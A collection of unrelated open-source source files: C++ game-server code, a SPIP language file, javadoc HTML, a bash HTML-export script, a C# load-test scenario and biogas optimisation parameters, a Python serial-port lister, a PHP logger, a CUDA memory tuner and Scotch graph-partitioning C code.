ShowDebug(CL_CYAN"spawnSecondPartDynamis: <%s> (%u) is alredy spawned\n" CL_RESET, PMob->GetName(), PMob->id);
}
} else {
ShowDebug("spawnSecondPartDynamis: mob %u not found\n", mobid);
}
}
return true;
}
return false;
}
}; | maikuru23/darkstar | src/map/utils/battlefieldutils.cpp | C++ | gpl-3.0 | 15,998 |
<?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// Fichier source, a modifier dans svn://zone.spip.org/spip-zone/_plugins_/seo/lang/
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// S
'S.E.O' => 'SEO',
// A
'alexa' => 'Alexa',
'alexa_activate' => 'Activer Alexa',
'alexa_id' => 'Identifiant du site pour Alexa',
// B
'bing_webmaster' => 'Bing Webmaster Tools',
'bing_webmaster_activate' => 'Activer Bing Webmaster Tools',
'bing_webmaster_id' => 'Meta code de vérification',
// C
'canonical_url' => 'URL Canoniques',
'canonical_url_activate' => 'Activer les URL Canoniques',
// F
'forcer_squelette_descriptif' => 'Les metas SEO sont prioritaires aux meta générées par les squelettes',
'forcer_squelette_label' => 'Charger les metas pour tous squelettes',
// G
'google_analytics' => 'Google Analytics',
'google_analytics_activate' => 'Activer Analytics',
'google_analytics_id' => 'Google Analytics web property ID',
'google_webmaster_tools' => 'Google Webmaster Tools',
'google_webmaster_tools_activate' => 'Activer Webmaster Tools',
'google_webmaster_tools_id' => 'Meta code de vérification',
// I
'insert_head' => 'Insertion automatique dans #INSERT_HEAD',
'insert_head_activate' => 'Activer l\'insertion automatique',
'insert_head_descriptif' => 'Insertion automatique de la configuration SEO dans le <header>',
// M
'meta_author' => 'Auteur :',
'meta_copyright' => 'Copyright :',
'meta_description' => 'Description :',
'meta_keywords' => 'Mots Clefs :',
'meta_page_description_sommaire_value' => 'Valeur de la Description de la Page + Valeur Meta du Sommaine',
'meta_page_description_value' => 'Valeur de la Description de la Page',
'meta_page_title_sommaire_value' => 'Valeur du Titre de la Page + Valeur Meta du Sommaire',
'meta_page_title_value' => 'Valeur du Titre de la Page',
'meta_robots' => 'Robots :',
'meta_sommaire_value' => 'Valeur de la Meta du Sommaire',
'meta_tags' => 'Meta Tags',
'meta_tags_activate' => 'Activer les meta tags',
'meta_tags_default' => 'Valeur des Meta Tags par Défaut (pour les Articles et les Rubriques)',
'meta_tags_edit_activate' => 'Activer l\'édition des meta tags dans les rubriques et les articles',
'meta_tags_editing' => 'Edition des Meta Tags',
'meta_tags_sommaire' => 'Valeur des Meta Tags du Sommaire (page d\'accueil)',
'meta_title' => 'Titre :',
// S
'seo' => 'Search Engine Optimisation'
);
?>
| VertigeASBL/genrespluriels | plugins/seo-v1/lang/seo_fr.php | PHP | gpl-3.0 | 2,485 |
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Frameset//EN" "http://www.w3.org/TR/html4/frameset.dtd">
<!-- NewPage -->
<html lang="en">
<head>
<!-- Generated by javadoc (1.8.0_60) on Sun Oct 25 17:08:11 MDT 2015 -->
<title>Generated Documentation (Untitled)</title>
<script type="text/javascript">
targetPage = "" + window.location.search;
if (targetPage != "" && targetPage != "undefined")
targetPage = targetPage.substring(1);
if (targetPage.indexOf(":") != -1 || (targetPage != "" && !validURL(targetPage)))
targetPage = "undefined";
function validURL(url) {
try {
url = decodeURIComponent(url);
}
catch (error) {
return false;
}
var pos = url.indexOf(".html");
if (pos == -1 || pos != url.length - 5)
return false;
var allowNumber = false;
var allowSep = false;
var seenDot = false;
for (var i = 0; i < url.length - 5; i++) {
var ch = url.charAt(i);
if ('a' <= ch && ch <= 'z' ||
'A' <= ch && ch <= 'Z' ||
ch == '$' ||
ch == '_' ||
ch.charCodeAt(0) > 127) {
allowNumber = true;
allowSep = true;
} else if ('0' <= ch && ch <= '9'
|| ch == '-') {
if (!allowNumber)
return false;
} else if (ch == '/' || ch == '.') {
if (!allowSep)
return false;
allowNumber = false;
allowSep = false;
if (ch == '.')
seenDot = true;
if (ch == '/' && seenDot)
return false;
} else {
return false;
}
}
return true;
}
function loadFrames() {
if (targetPage != "" && targetPage != "undefined")
top.classFrame.location = top.targetPage;
}
</script>
</head>
<frameset cols="20%,80%" title="Documentation frame" onload="top.loadFrames()">
<frameset rows="30%,70%" title="Left frames" onload="top.loadFrames()">
<frame src="overview-frame.html" name="packageListFrame" title="All Packages">
<frame src="allclasses-frame.html" name="packageFrame" title="All classes and interfaces (except non-static nested types)">
</frameset>
<frame src="overview-summary.html" name="classFrame" title="Package, class and interface descriptions" scrolling="yes">
<noframes>
<noscript>
<div>JavaScript is disabled on your browser.</div>
</noscript>
<h2>Frame Alert</h2>
<p>This document is designed to be viewed using the frames feature. If you see this message, you are using a non-frame-capable web client. Link to <a href="overview-summary.html">Non-frame version</a>.</p>
</noframes>
</frameset>
</html>
| AlecWazzy/Miscellaneous | Melody ADT/doc/index.html | HTML | gpl-3.0 | 2,937 |
#! /bin/bash
BASE_DIR="$( cd "$( dirname "${BASH_SOURCE[0]}" )" && pwd )"
TMP_DIR="$BASE_DIR""/.tmp"
BASE_DIR_NAME="$(basename $BASE_DIR)"
HTDOCS="$BASE_DIR"'/htdocs'
EXPORT_DIR="$BASE_DIR"'/exported-html'
FILE_SUFFIX=".html"
PATH_TYPE='relative'
if [[ ! -d "$EXPORT_DIR" ]]; then
echo "Creating export directory: ""$EXPORT_DIR"
mkdir "$EXPORT_DIR"
fi
function render_page () {
local page="$1"
if [[ "$PATH_TYPE" = "relative" ]]; then
echo "Exporting ""$PAGE"" with relative paths and file suffix ""$FILE_SUFFIX"
# fix absolute css/js paths
# add file suffixes to local links
# fix absolute links
php htdocs/index.php -u "$page" | sed 's#</head>#<META NAME="ROBOTS" CONTENT="NOINDEX, NOFOLLOW"></head>#g' | sed 's#src="/#src="#g' | sed -E 's#href="/([^"]*)#href="\1'"$FILE_SUFFIX"'#g' | sed 's#href="/#href="#g' > "$EXPORT_DIR/$page""$FILE_SUFFIX"
else
echo "Exporting ""$PAGE"" with file suffix ""$FILE_SUFFIX"
php htdocs/index.php -u "$PAGE" | sed 's#</head>#<META NAME="ROBOTS" CONTENT="NOINDEX, NOFOLLOW"></head>#g' | sed -E 's#href="/([^"]*)#href="\1'"$FILE_SUFFIX"'#g' > "$EXPORT_DIR/$PAGE""$FILE_SUFFIX"
fi
}
echo "Copying files to export directory"
cp -RL "$HTDOCS/"* "$EXPORT_DIR/"
echo "removing PHP and twig files from export"
rm -R "$EXPORT_DIR/"*".html.twig"
rm -R "$EXPORT_DIR/"*".php"
echo "Compiling HTML from twig files"
render_page index
for PAGE in $(php htdocs/index.php -p); do
render_page "$PAGE"
done
echo "Done."
exit 0
| jxn/protoforge-twig | export-html-headless.sh | Shell | gpl-3.0 | 1,537 |
/*
* Copyright (C) 2017 GG-Net GmbH
*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program. If not, see <http://www.gnu.org/licenses/>.
*/
/**
* Contains the Ui and actions for the detailed document view and edit and all supplemental uis.
*/
package eu.ggnet.dwoss.redtapext.ui.cao.document;
| gg-net/dwoss | ui/redtapext/src/main/java/eu/ggnet/dwoss/redtapext/ui/cao/document/package-info.java | Java | gpl-3.0 | 865 |
using System;
using System.Threading;
using Viki.LoadRunner.Engine.Core.Scenario.Interfaces;
using Viki.LoadRunner.Engine.Strategies.Replay.Interfaces;
using Viki.LoadRunner.Engine.Strategies.Replay.Scheduler.Interfaces;
namespace Viki.LoadRunner.Playground.Replay
{
public class ReplayScenario : IReplayScenario<string>
{
private string _data;
private TimeSpan _target = TimeSpan.Zero;
public void ScenarioSetup(IIteration context)
{
Console.Out.WriteLine($"[{context.Timer.Value.TotalSeconds:F2}] Scenario Setup");
}
public void SetData(IData<string> data)
{
_data = data.Value;
_target = data.TargetTime;
// Lets skip requests between 4-8 seconds
if (data.TargetTime > TimeSpan.FromSeconds(4) && data.TargetTime < TimeSpan.FromSeconds(8))
{
Console.Out.WriteLine($"[{data.Timer.Value.TotalSeconds:F2}][A:{_target.TotalSeconds:F2}] SetData: [{_data}] SKIP");
data.Execute = false;
data.Context.UserData = $"[{data.Context.Timer.Value.TotalSeconds:F2}][A:{_target.TotalSeconds:F2}] SKIP";
}
TimeSpan fallenBehind = data.Timer.Value - data.TargetTime;
if (fallenBehind > TimeSpan.Zero)
Console.WriteLine($@"[{data.Timer.Value.TotalSeconds:F2}][A:{_target.TotalSeconds:F2}] SetData: [{_data}] FALL BEHIND {fallenBehind}");
Console.Out.WriteLine($"[{data.Timer.Value.TotalSeconds:F2}][A:{_target.TotalSeconds:F2}] SetData: [{_data}]");
}
public void IterationSetup(IIteration context)
{
context.UserData = _data;
Console.Out.WriteLine($"[{context.Timer.Value.TotalSeconds:F2}][A:{_target.TotalSeconds:F2}] Iteration Setup");
}
public void ExecuteScenario(IIteration context)
{
Console.Out.WriteLine($"[{context.Timer.Value.TotalSeconds:F2}][A:{_target.TotalSeconds:F2}] Execute");
Thread.Sleep(1000);
}
public void IterationTearDown(IIteration context)
{
Console.Out.WriteLine($"[{context.Timer.Value.TotalSeconds:F2}][A:{_target.TotalSeconds:F2}] Iteration End");
}
public void ScenarioTearDown(IIteration context)
{
Console.Out.WriteLine($"[{context.Timer.Value.TotalSeconds:F2}][A:{_target.TotalSeconds:F2}] Scenario End");
}
}
} | Vycka/LoadRunner | src/Viki.LoadRunner.Playground/Replay/ReplayScenario.cs | C# | gpl-3.0 | 2,474 |
#!/usr/bin/env python
"""This utility script was adopted from StackExchange:
http://stackoverflow.com/questions/12090503/listing-available-com-ports-with-python
Adopted for use with arduino_GC connection project
"""
import sys
import glob
import serial
def serial_ports():
""" Lists serial port names
:raises EnvironmentError:
On unsupported or unknown platforms
:returns:
A list of the serial ports available on the system
"""
if sys.platform.startswith('win'):
ports = ['COM%s' % (i + 1) for i in range(256)]
elif sys.platform.startswith('linux') or sys.platform.startswith('cygwin'):
# this excludes your current terminal "/dev/tty"
ports = glob.glob('/dev/cu[A-Za-z]*')
elif sys.platform.startswith('darwin'):
ports = glob.glob('/dev/cu.*')
else:
raise EnvironmentError('Unsupported platform')
result = []
for port in ports:
try:
s = serial.Serial(port)
s.close()
result.append(port)
except (OSError, serial.SerialException):
pass
return result
if __name__ == '__main__':
print(serial_ports())
| Mobleyta/GasChromino | PythonCode/serial_ports.py | Python | gpl-3.0 | 1,189 |
function Greeter(person) {
return "Hello, " + person;
}
var RandomGuy = "Random Dude";
alert(Greeter(RandomGuy));
//# sourceMappingURL=HelloWorld.js.map | LenardHessHAW/TypeScriptTesting | JavaScript/HelloWorld.js | JavaScript | gpl-3.0 | 156 |
<?php
namespace sebastiangolian\php\logger;
/*
Logger::getInstance()->addDefaultLog('test');
Logger::getInstance()->addLog(new Message('type', 'message'));
echo Logger::getInstance()->generateAllMessages();
*/
class Logger
{
private static $instance;
private $messages = [];
private function __construct() {}
private function __clone() {}
/**
* @return Logger
*/
public static function getInstance()
{
if(self::$instance === null) {
self::$instance = new self;
}
return self::$instance;
}
/**
* Logger::getInstance()->add('XYZ');
* Add new log
* @param mixed $var
* @param string $type
*/
public function add($var,$type = 'default')
{
$message = print_r($var, true);
$objMessage = new Message($type, $message);
array_push($this->messages, $objMessage);
}
/**
* Return all messages
* @return array
*/
public function getMessages()
{
return $this->messages;
}
/**
* Return all messages in string with break
* @param string $break
* @return string
*/
public function generateAllMessages($break = "<br />")
{
$ret = '';
foreach ($this->messages as $message) {
$ret .= $message->getDateTime()." - [".$message->getType()."] ".$message->getMessage().$break;
}
return $ret;
}
} | sebastiangolian/php | logger/Logger.php | PHP | gpl-3.0 | 1,533 |
/**
* This file defines the fitness_params object.
*
* TODOs:
* - a few TODOs in the file but ok
*
* FINISHED!
*
*/
using System;
using System.Collections.Generic;
using System.Text;
using System.Xml;
using System.IO;
using toolbox;
/**
* namespace for biogas plant optimization
*
* Definition of:
* - fitness_params
* - objective function
* - weights used inside objective function
*
*/
namespace biooptim
{
/// <summary>
/// definition of fitness parameters used in objective function
/// </summary>
public partial class fitness_params
{
// -------------------------------------------------------------------------------------
// !!! CONSTRUCTOR METHODS !!!
// -------------------------------------------------------------------------------------
/// <summary>
/// Standard Constructor creates the fitness_params object with default params
/// </summary>
/// <param name="numDigesters">number of digesters on plant</param>
public fitness_params(int numDigesters/*biogas.plant myPlant*/)
{
set_params_to_default(/*myPlant*/numDigesters);
}
/// <summary>
/// Constructor used to read fitness_params out of a XML file
/// </summary>
/// <param name="XMLfile">name of the xml file</param>
public fitness_params(string XMLfile)
{
XmlTextReader reader= new System.Xml.XmlTextReader(XMLfile);
getParamsFromXMLReader(ref reader);
reader.Close();
}
// -------------------------------------------------------------------------------------
// !!! PUBLIC METHODS !!!
// -------------------------------------------------------------------------------------
/// <summary>
/// set fitness params to values read out of a xml file
/// </summary>
/// <param name="reader"></param>
public void getParamsFromXMLReader(ref XmlTextReader reader)
{
string xml_tag = "";
int digester_index = 0;
// do not set params, because plant is not known
// TODO - macht probleme wenn ein neuer parameter hinzugefügt wird, da dann
// dessen list leer bleibt
// im grunde müsste man am ende der funktion die listen füllen, welche
// leer geblieben sind mit default werten
bool do_while = true;
// go through the file
while (reader.Read() && do_while)
{
switch (reader.NodeType)
{
case System.Xml.XmlNodeType.Element: // this knot is an element
xml_tag = reader.Name;
while (reader.MoveToNextAttribute())
{ // read the attributes, here only the attribute of digester
// is of interest, all other attributes are ignored,
// actually there usally are no other attributes
if (xml_tag == "digester" && reader.Name == "index")
{
// TODO
// index of digester, not used at the moment
digester_index = Convert.ToInt32(reader.Value);
break;
}
}
if (xml_tag == "weights")
{
myWeights.getParamsFromXMLReader(ref reader);
}
else if (xml_tag == "setpoints")
{
mySetpoints.getParamsFromXMLReader(ref reader);
}
break;
case System.Xml.XmlNodeType.Text: // text, thus value, of each element
switch (xml_tag)
{
// TODO - use digester_index here, compare with size of pH_min, ...
// here we assume that params are given in the correct
// order, thus first the first digester, then the 2nd digester, ...
case "pH_min":
pH_min.Add(System.Xml.XmlConvert.ToDouble(reader.Value));
break;
case "pH_max":
pH_max.Add(System.Xml.XmlConvert.ToDouble(reader.Value));
break;
case "pH_optimum":
pH_optimum.Add(System.Xml.XmlConvert.ToDouble(reader.Value));
break;
case "TS_max":
TS_max.Add(System.Xml.XmlConvert.ToDouble(reader.Value));
break;
case "VFA_TAC_min":
VFA_TAC_min.Add(System.Xml.XmlConvert.ToDouble(reader.Value));
break;
case "VFA_TAC_max":
VFA_TAC_max.Add(System.Xml.XmlConvert.ToDouble(reader.Value));
break;
case "VFA_min":
VFA_min.Add(System.Xml.XmlConvert.ToDouble(reader.Value));
break;
case "VFA_max":
VFA_max.Add(System.Xml.XmlConvert.ToDouble(reader.Value));
break;
case "TAC_min":
TAC_min.Add(System.Xml.XmlConvert.ToDouble(reader.Value));
break;
case "HRT_min":
HRT_min.Add(System.Xml.XmlConvert.ToDouble(reader.Value));
break;
case "HRT_max":
HRT_max.Add(System.Xml.XmlConvert.ToDouble(reader.Value));
break;
case "OLR_max":
OLR_max.Add(System.Xml.XmlConvert.ToDouble(reader.Value));
break;
case "Snh4_max":
Snh4_max.Add(System.Xml.XmlConvert.ToDouble(reader.Value));
break;
case "Snh3_max":
Snh3_max.Add(System.Xml.XmlConvert.ToDouble(reader.Value));
break;
case "AcVsPro_min":
AcVsPro_min.Add(System.Xml.XmlConvert.ToDouble(reader.Value));
break;
case "TS_feed_max":
_TS_feed_max= System.Xml.XmlConvert.ToDouble(reader.Value);
break;
case "HRT_plant_min":
_HRT_plant_min = System.Xml.XmlConvert.ToDouble(reader.Value);
break;
case "HRT_plant_max":
_HRT_plant_max = System.Xml.XmlConvert.ToDouble(reader.Value);
break;
case "OLR_plant_max":
_OLR_plant_max = System.Xml.XmlConvert.ToDouble(reader.Value);
break;
// read in manurebonus
case "manurebonus":
_manurebonus = System.Xml.XmlConvert.ToBoolean(reader.Value);
break;
case "fitness_function":
_fitness_function = reader.Value;
break;
case "nObjectives":
_nObjectives = System.Xml.XmlConvert.ToInt32(reader.Value);
break;
//case "Ndelta":
// _Ndelta = System.Xml.XmlConvert.ToInt32(reader.Value);
// break;
}
break;
case System.Xml.XmlNodeType.EndElement: // end of fitness_params
if (reader.Name == "fitness_params")
do_while = false; // end while loop
break;
}
}
}
/// <summary>
/// Returns fitness params as XML string, such that it can be saved
/// in a XML file
/// </summary>
/// <returns></returns>
public string getParamsAsXMLString()
{
StringBuilder sb = new StringBuilder();
sb.Append("<fitness_params>\n");
for (int idigester = 0; idigester < pH_min.Count; idigester++)
{
sb.Append(String.Format("<digester index= \"{0}\">\n", idigester));
sb.Append(xmlInterface.setXMLTag("pH_min", pH_min[idigester]));
sb.Append(xmlInterface.setXMLTag("pH_max", pH_max[idigester]));
sb.Append(xmlInterface.setXMLTag("pH_optimum", pH_optimum[idigester]));
sb.Append(xmlInterface.setXMLTag("TS_max", TS_max[idigester]));
sb.Append(xmlInterface.setXMLTag("VFA_TAC_min", VFA_TAC_min[idigester]));
sb.Append(xmlInterface.setXMLTag("VFA_TAC_max", VFA_TAC_max[idigester]));
sb.Append(xmlInterface.setXMLTag("VFA_min", VFA_min[idigester]));
sb.Append(xmlInterface.setXMLTag("VFA_max", VFA_max[idigester]));
sb.Append(xmlInterface.setXMLTag("TAC_min", TAC_min[idigester]));
sb.Append(xmlInterface.setXMLTag("HRT_min", HRT_min[idigester]));
sb.Append(xmlInterface.setXMLTag("HRT_max", HRT_max[idigester]));
sb.Append(xmlInterface.setXMLTag("OLR_max", OLR_max[idigester]));
sb.Append(xmlInterface.setXMLTag("Snh4_max", Snh4_max[idigester]));
sb.Append(xmlInterface.setXMLTag("Snh3_max", Snh3_max[idigester]));
sb.Append(xmlInterface.setXMLTag("AcVsPro_min", AcVsPro_min[idigester]));
sb.Append("</digester>\n");
}
sb.Append(xmlInterface.setXMLTag("TS_feed_max", TS_feed_max));
// add weights
sb.Append(myWeights.getParamsAsXMLString());
sb.Append(xmlInterface.setXMLTag("HRT_plant_min", HRT_plant_min));
sb.Append(xmlInterface.setXMLTag("HRT_plant_max", HRT_plant_max));
sb.Append(xmlInterface.setXMLTag("OLR_plant_max", OLR_plant_max));
// write manurebonus inside file
sb.Append(xmlInterface.setXMLTag("manurebonus", manurebonus));
sb.Append(xmlInterface.setXMLTag("fitness_function", fitness_function));
sb.Append(xmlInterface.setXMLTag("nObjectives", nObjectives));
//sb.Append(xmlInterface.setXMLTag("Ndelta", _Ndelta));
// add setpoints
sb.Append(mySetpoints.getParamsAsXMLString());
//
sb.Append("</fitness_params>\n");
return sb.ToString();
}
/// <summary>
/// Saves the fitness_params in a xml file
/// </summary>
/// <param name="XMLfile">name of the xml file</param>
public void saveAsXML(string XMLfile)
{
StreamWriter writer = File.CreateText(XMLfile);
writer.Write("<?xml version=\"1.0\" encoding=\"utf-8\"?>\n");
writer.Write(getParamsAsXMLString());
writer.Close();
}
/// <summary>
/// Prints the fitness params to a string, such that the string
/// can be written to a console.
///
/// For Custom Numeric Format Strings see:
///
/// http://msdn.microsoft.com/en-us/library/0c899ak8.aspx
///
/// </summary>
/// <returns></returns>
public string print()
{
StringBuilder sb = new StringBuilder();
sb.Append(" ---------- fitness_params: ---------- \r\n");
for (int idigester = 0; idigester < pH_min.Count; idigester++)
{
sb.Append(String.Format("digester: {0}\n", idigester));
sb.Append(String.Format("pH_min: {0}\t\t\t", pH_min[idigester]));
sb.Append(String.Format("pH_max: {0}\t\t\t", pH_max[idigester]));
sb.Append(String.Format("pH_optimum: {0}\n", pH_optimum[idigester]));
sb.Append(String.Format("TS_max: {0}\t\t\t", TS_max[idigester]));
sb.Append(String.Format("VFA_TAC_min: {0}\t\t\t", VFA_TAC_min[idigester]));
sb.Append(String.Format("VFA_TAC_max: {0}\n", VFA_TAC_max[idigester]));
sb.Append(String.Format("VFA_min: {0}\t\t\t", VFA_min[idigester]));
sb.Append(String.Format("VFA_max: {0}\t\t\t", VFA_max[idigester]));
sb.Append(String.Format("TAC_min: {0}\n", TAC_min[idigester]));
sb.Append(String.Format("HRT_min: {0}\t\t\t", HRT_min[idigester]));
sb.Append(String.Format("HRT_max: {0}\t\t\t", HRT_max[idigester]));
sb.Append(String.Format("OLR_max: {0}\n", OLR_max[idigester]));
sb.Append(String.Format("Snh4_max: {0}\t\t\t", Snh4_max[idigester]));
sb.Append(String.Format("Snh3_max: {0}\t\t\t", Snh3_max[idigester]));
sb.Append(String.Format("AcVsPro_min: {0}\r\n", AcVsPro_min[idigester]));
}
sb.Append(String.Format("TS_feed_max: {0}\r\n", TS_feed_max));
// add weights
sb.Append(myWeights.print());
sb.Append(String.Format("\nHRT_plant_min: {0}\t\t\t", HRT_plant_min));
sb.Append(String.Format("HRT_plant_max: {0}\t\t\t", HRT_plant_max));
sb.Append(String.Format("OLR_plant_max: {0}\n", OLR_plant_max));
sb.Append(String.Format("manurebonus: {0}\n", manurebonus));
sb.Append(String.Format("fitness_function: {0}\t\t", fitness_function));
sb.Append(String.Format("nObjectives: {0}\r\n", nObjectives));
//sb.Append(String.Format("Ndelta: {0}\n", _Ndelta));
// add setpoints
sb.Append(mySetpoints.print());
sb.Append(" ---------- ---------- ---------- ---------- \n");
return sb.ToString();
}
}
}
| dgaida/matlab_toolboxes | biogas_c#/scripts/scripts/toolbox/optim_params/fitness_params.cs | C# | gpl-3.0 | 12,539 |
/* This file is part of libcuzmem
Copyright (C) 2011 James A. Shackleford
libcuzmem is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <http://www.gnu.org/licenses/>.
*/
#include <stdio.h>
#include <math.h>
#include "context.h"
#include "plans.h"
#include "tuner_util.h"
#include "tuner_exhaust.h"
//------------------------------------------------------------------------------
// TUNER INTERFACE
//------------------------------------------------------------------------------
cuzmem_plan*
cuzmem_tuner_exhaust (enum cuzmem_tuner_action action, void* parm)
{
CUZMEM_CONTEXT ctx = get_context();
// =========================================================================
// TUNER START
// =========================================================================
if (CUZMEM_TUNER_START == action) {
// For now, do nothing special.
if (ctx->tune_iter == 0) {
// if we are in the 0th tuning cycle, do nothing here.
// CUZMEM_TUNER_LOOKUP is determining the search space
return NULL;
}
else {
// start timing the iteration
ctx->start_time = get_time ();
}
// Return value currently has no meaning
return NULL;
}
// =========================================================================
// TUNER LOOKUP
// =========================================================================
else if (CUZMEM_TUNER_LOOKUP == action) {
// parm: pointer to size of allocation
size_t size = *(size_t*)(parm);
CUresult ret;
int loopy = 0;
cuzmem_plan* entry = NULL;
int loc;
// default 0th tuning iteration handling
if (ctx->tune_iter == 0) {
return zeroth_lookup_handler (ctx, size);
}
// handle looping allocations & get current entry
if (loopy_entry (ctx, &entry, size)) {
return loopy_entry_handler (entry, size);
}
// exhaustive tuning
// ---------------------------------------------------------------------
entry->loc = (ctx->tune_iter >> ctx->current_knob) & 0x0001;
loc = entry->loc;
ret = alloc_mem (entry, size);
// "natural mutation"
if (loc != entry->loc) {
// add large value to timer to invalidate this plan
ctx->start_time -= (0.50*ctx->start_time);
}
// ---------------------------------------------------------------------
ctx->current_knob++;
return entry;
}
// =========================================================================
// TUNER END
// =========================================================================
else if (CUZMEM_TUNER_END == action) {
int i;
double time;
cuzmem_plan* entry = NULL;
int all_global = 1;
int satisfied = 0;
unsigned int gpu_mem_free, gpu_mem_total, gpu_mem_req;
unsigned int gpu_mem_min;
CUresult ret;
// standard tuner structure
// ---------------------------------------------------------------------
if (ctx->tune_iter == 0) {
if (zeroth_end_handler (ctx)) {
// everything fits in GPU memory, returning ends search
return NULL;
}
// exhaustive search specific: compute # of tune iterations
ctx->tune_iter_max = (unsigned long long)pow (2, ctx->num_knobs);
}
// get the time to complete this iteration
time = get_time() - ctx->start_time;
if (time < ctx->best_time) {
ctx->best_time = time;
ctx->best_plan = ctx->tune_iter; // algorithm dependent
}
// reset current knob for next tune iteration
ctx->current_knob = 0;
// ---------------------------------------------------------------------
printf ("libcuzmem: best plan is #%llu of %llu\n", ctx->best_plan, ctx->tune_iter_max);
// pull down GPU global memory usage from CUDA driver
ret = cuMemGetInfo (&gpu_mem_free, &gpu_mem_total);
if (ret != CUDA_SUCCESS) {
fprintf (stderr, "libcuzmem: could not retrieve GPU memory info from CUDA Driver!\n");
exit (1);
} else {
gpu_mem_min = (unsigned int)((float)gpu_mem_free * (float)ctx->gpu_mem_percent * 0.01f);
gpu_mem_free -= 20000000;
}
// check to make sure the next iteration's plan draft meets the GPU
// global memory utilization constraint if it doesn't, we will skip it
// and subsequent plans until we find one that does.
//
// we also use this oppurtunity to clear out all of our inloop entry's
// 1st hit flags
i = ctx->tune_iter + 1;
do {
gpu_mem_req = 0;
entry = ctx->plan;
while (entry != NULL) {
entry->loc = (i >> entry->id) & 0x0001;
entry->first_hit = 1;
if (entry->loc == 1 && entry->gold_member) {
gpu_mem_req += entry->size;
}
entry = entry->next;
}
fprintf (stderr,
" Request for Plan %i of %llu: %i (min: %i)\n",
i,
ctx->tune_iter_max,
gpu_mem_req,
gpu_mem_min
);
if ((gpu_mem_req >= gpu_mem_min) && (gpu_mem_req < gpu_mem_free)) {
// we subtract one beacuse tune_iter is auto-increment after this
// function returns (before the next tune iterations starts)
ctx->tune_iter = i - 1;
satisfied = 1;
} else {
i++;
}
} while (!satisfied);
// always end with this
max_iteration_handler (ctx);
return NULL;
}
// =========================================================================
// TUNER: UNKNOWN ACTION SPECIFIED
// =========================================================================
else {
printf ("libcuzmem: tuner asked to perform unknown action!\n");
exit (1);
return NULL;
}
// =========================================================================
}
| tshack/libcuzmem | tuner_exhaust.c | C | gpl-3.0 | 6,949 |
/* Copyright 2004,2007,2008,2010,2011,2014 IPB, Universite de Bordeaux, INRIA & CNRS
**
** This file is part of the Scotch software package for static mapping,
** graph partitioning and sparse matrix ordering.
**
** This software is governed by the CeCILL-C license under French law
** and abiding by the rules of distribution of free software. You can
** use, modify and/or redistribute the software under the terms of the
** CeCILL-C license as circulated by CEA, CNRS and INRIA at the following
** URL: "http://www.cecill.info".
**
** As a counterpart to the access to the source code and rights to copy,
** modify and redistribute granted by the license, users are provided
** only with a limited warranty and the software's author, the holder of
** the economic rights, and the successive licensors have only limited
** liability.
**
** In this respect, the user's attention is drawn to the risks associated
** with loading, using, modifying and/or developing or reproducing the
** software by the user in light of its specific status of free software,
** that may mean that it is complicated to manipulate, and that also
** therefore means that it is reserved for developers and experienced
** professionals having in-depth computer knowledge. Users are therefore
** encouraged to load and test the software's suitability as regards
** their requirements in conditions enabling the security of their
** systems and/or data to be ensured and, more generally, to use and
** operate it in the same conditions as regards security.
**
** The fact that you are presently reading this means that you have had
** knowledge of the CeCILL-C license and that you accept its terms.
*/
/************************************************************/
/** **/
/** NAME : bgraph_bipart_bd.c **/
/** **/
/** AUTHOR : Francois PELLEGRINI **/
/** **/
/** FUNCTION : This module builds a band graph around **/
/** the frontier in order to decrease **/
/** problem size for the strategy to be **/
/** applied. **/
/** **/
/** DATES : # Version 5.0 : from : 27 nov 2006 **/
/** to : 23 dec 2007 **/
/** # Version 5.1 : from : 09 nov 2008 **/
/** to : 26 mar 2011 **/
/** # Version 6.0 : from : 07 nov 2011 **/
/** to : 08 aug 2014 **/
/** **/
/************************************************************/
/*
** The defines and includes.
*/
#define BGRAPH_BIPART_BD
#include "module.h"
#include "common.h"
#include "parser.h"
#include "graph.h"
#include "arch.h"
#include "bgraph.h"
#include "bgraph_bipart_bd.h"
#include "bgraph_bipart_st.h"
/*****************************/
/* */
/* This is the main routine. */
/* */
/*****************************/
int
bgraphBipartBd (
Bgraph * restrict const orggrafptr, /*+ Active graph +*/
const BgraphBipartBdParam * const paraptr) /*+ Method parameters +*/
{
Gnum * restrict queutab;
Gnum queuheadval;
Gnum queutailval;
Gnum distmax; /* Maximum distance allowed */
Gnum * restrict orgindxtax; /* Based access to index array for original graph */
Gnum orgfronnum;
Gnum ancfronnum;
Gnum bndfronnum;
Bgraph bndgrafdat; /* Band graph structure */
Gnum bndvertnbr; /* Number of regular vertices in band graph (without anchors) */
Gnum bndvertnnd;
const Gnum * restrict bndvnumtax; /* Band vertex number array, recycling queutab */
Gnum * restrict bndveextax; /* External gain array of band graph, if present */
Gnum bndveexnbr; /* Number of external array vertices */
Gnum bndvelosum; /* Load of regular vertices in band graph */
Gnum bndedlosum; /* Sum of edge loads */
Gnum bndcompsize1; /* Number of regular vertices in part 1 of band graph */
Gnum bndcompload1; /* Load of regular vertices in part 1 */
Gnum bndvlvlnum; /* Index of first band graph vertex to belong to the last layer */
Gnum bndvertnum;
Gnum bndeancnbr; /* Number of anchor edges */
Gnum bndedgenbr; /* Upper bound on the number of edges, including anchor edges */
Gnum bndedgenum;
Gnum * restrict bndedgetax;
Gnum * restrict bndedlotax;
Gnum bndedgetmp;
Gnum bnddegrmax;
Gnum bndcommgainextn; /* Sum of all external gains in band graph */
Gnum bndcommgainextn1; /* Sum of external gains accounted for in load, since in part 1 */
size_t bndedlooftval; /* Offset of edge load array with respect to edge array */
const Gnum * restrict const orgverttax = orggrafptr->s.verttax; /* Fast accesses */
const Gnum * restrict const orgvendtax = orggrafptr->s.vendtax;
